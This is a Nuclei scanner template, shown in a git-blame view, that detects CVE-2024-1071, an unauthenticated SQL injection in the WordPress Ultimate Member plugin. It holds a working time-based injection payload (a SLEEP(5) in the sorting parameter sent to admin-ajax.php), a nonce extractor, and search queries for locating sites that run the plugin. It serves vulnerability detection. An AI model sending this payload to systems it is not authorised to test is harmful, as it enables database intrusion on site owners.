nuclei-templates/http/cves/2024/CVE-2024-1071.yaml

57 lines
2.2 KiB
YAML
Raw Normal View History

2024-02-29 03:29:02 +00:00
id: CVE-2024-1071
info:
2024-02-29 05:25:08 +00:00
name: WordPress Ultimate Member 2.1.3 - 2.8.2 SQL Injection
2024-02-29 03:29:02 +00:00
author: DhiyaneshDK,iamnooob
severity: critical
description: |
2024-02-29 05:25:08 +00:00
The Ultimate Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to SQL Injection via the sorting parameter in versions 2.1.3 to 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
2024-02-29 03:29:02 +00:00
remediation: Fixed in 2.8.3
reference:
- https://www.wordfence.com/blog/2024/02/2063-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-ultimate-member-wordpress-plugin/
- https://securityonline.info/cve-2024-1071-wordpress-ultimate-member-plugin-under-active-attack/
2024-02-29 05:25:08 +00:00
classification:
cve-id: CVE-2024-1071
cwe-id: CWE-89
2024-02-29 03:29:02 +00:00
metadata:
verified: true
max-request: 2
framework: wordpress
publicwww-query: "/wp-content/plugins/ultimate-member/"
zoomeye-query: app:"WordPress Ultimate Member Plugin"
fofa-query: body="/wp-content/plugins/ultimate-member"
tags: cve,cve2024,ultimate-member,wpscan,wordpress,wp-plugin
http:
- raw:
- |
2024-02-29 03:30:04 +00:00
GET /?p=1 HTTP/1.1
2024-02-29 03:29:02 +00:00
Host: {{Hostname}}
- |
2024-02-29 05:25:08 +00:00
@timeout: 10s
2024-02-29 03:29:02 +00:00
POST /wp-admin/admin-ajax.php?action=um_get_members HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
directory_id=b9238&sorting=user_login,SLEEP(5)&nonce={{nonce}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'duration_2>=5'
- 'status_code_2 == 200'
- 'contains_all(body_2, "current_page", "total_pages")'
condition: and
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"nonce":"([0-9a-z]+)"'
2024-02-29 05:25:08 +00:00
internal: true
# digest: 4b0a00483046022100cbbf2eef879ba4fd92a1ea6d44bcd473dbc968afabbde5391d5969feba1bc4c7022100eb9710892e9d92fa4d14b16004b74b743d42abe45900eeef50caf239ea91aaea:922c64590222798bb761d5b6d8e72950